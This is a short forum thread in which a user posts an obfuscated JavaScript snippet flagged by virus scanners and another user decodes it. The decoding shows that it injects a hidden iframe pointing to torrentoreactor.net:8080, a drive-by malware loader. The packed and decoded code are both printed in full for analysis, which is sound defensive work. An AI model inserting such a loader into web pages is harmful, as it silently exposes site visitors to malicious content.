Posted By: ZippyV | Jun 23rd @ 4:24 AM
page 1 of 1
Comments: 6 | Views: 563
ZippyV
ZippyV
Fired Up

Here is a snippet of code I found on some website that virusscanners are complaining about. Can anyone find out what it does?

eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('s.r(q(\'%l%1%m%3%e%n%2%6%c%3%i%a%9%4%0%0%d%f%b%b%0%g%3%3%2%8%0%g%3%2%e%i%0%g%3%j%8%2%0%f%h%5%h%5%b%1%8%7%2%w%j%d%4%d%9%6%y%1%7%0%4%a%x%5%5%6%4%2%1%u%4%0%a%5%6%c%0%p%k%2%a%9%v%1%c%1%t%1%k%1%0%p%f%6%4%1%7%7%2%8%9%o%l%b%1%m%3%e%n%2%o\'));',35,35,'u0074|u0069|u0065|u0072|u0068|u0030|u0020|u0064|u006e|u0022|u003d|u002f|u0073|u0070|u0061|u003a|u006f|u0038|u0063|u002e|u006c|u003c|u0066|u006d|u003e|u0079|unescape|write|document|u0062|u0067|u0076|u0078|u0031|u0077'.split('|')))

TommyCarlier
TommyCarlier
I want my scalps!

It opens a hidden IFRAME to http://torrentoreactor.net:8080/index.php

TommyCarlier
TommyCarlier
I want my scalps!

I haven't executed the code. I just evaluated the expression inside the eval-function in my head. Honestly Wink

TommyCarlier
TommyCarlier
I want my scalps!

function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('s.r(q(\'%l%1%m%3%e%n%2%6%c%3%i%a%9%4%0%0%d%f%b%b%0%g%3%3%2%8%0%g%3%2%e%i%0%g%3%j%8%2%0%f%h%5%h%5%b%1%8%7%2%w%j%d%4%d%9%6%y%1%7%0%4%a%x%5%5%6%4%2%1%u%4%0%a%5%6%c%0%p%k%2%a%9%v%1%c%1%t%1%k%1%0%p%f%6%4%1%7%7%2%8%9%o%l%b%1%m%3%e%n%2%o\'));',35,35,'u0074|u0069|u0065|u0072|u0068|u0030|u0020|u0064|u006e|u0022|u003d|u002f|u0073|u0070|u0061|u003a|u006f|u0038|u0063|u002e|u006c|u003c|u0066|u006d|u003e|u0079|unescape|write|document|u0062|u0067|u0076|u0078|u0031|u0077'.split('|')) evaluates to document.write(unescape('%u003c%u0069%u0066%u0072%u0061%u006d%u0065%u0020%u0073%u0072%u0063%u003d%u0022%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0074%u006f%u0072%u0072%u0065%u006e%u0074%u006f%u0072%u0065%u0061%u0063%u0074%u006f%u0072%u002e%u006e%u0065%u0074%u003a%u0038%u0030%u0038%u0030%u002f%u0069%u006e%u0064%u0065%u0078%u002e%u0070%u0068%u0070%u0022%u0020%u0077%u0069%u0064%u0074%u0068%u003d%u0031%u0030%u0030%u0020%u0068%u0065%u0069%u0067%u0068%u0074%u003d%u0030%u0020%u0073%u0074%u0079%u006c%u0065%u003d%u0022%u0076%u0069%u0073%u0069%u0062%u0069%u006c%u0069%u0074%u0079%u003a%u0020%u0068%u0069%u0064%u0064%u0065%u006e%u0022%u003e%u003c%u002f%u0069%u0066%u0072%u0061%u006d%u0065%u003e')); and the unescape-function evaluates to <iframe src="http://torrentoreactor.net:8080/index.php" width=100 height=0 style="visibility: hidden"></iframe>

page 1 of 1
Comments: 6 | Views: 563
Microsoft Communities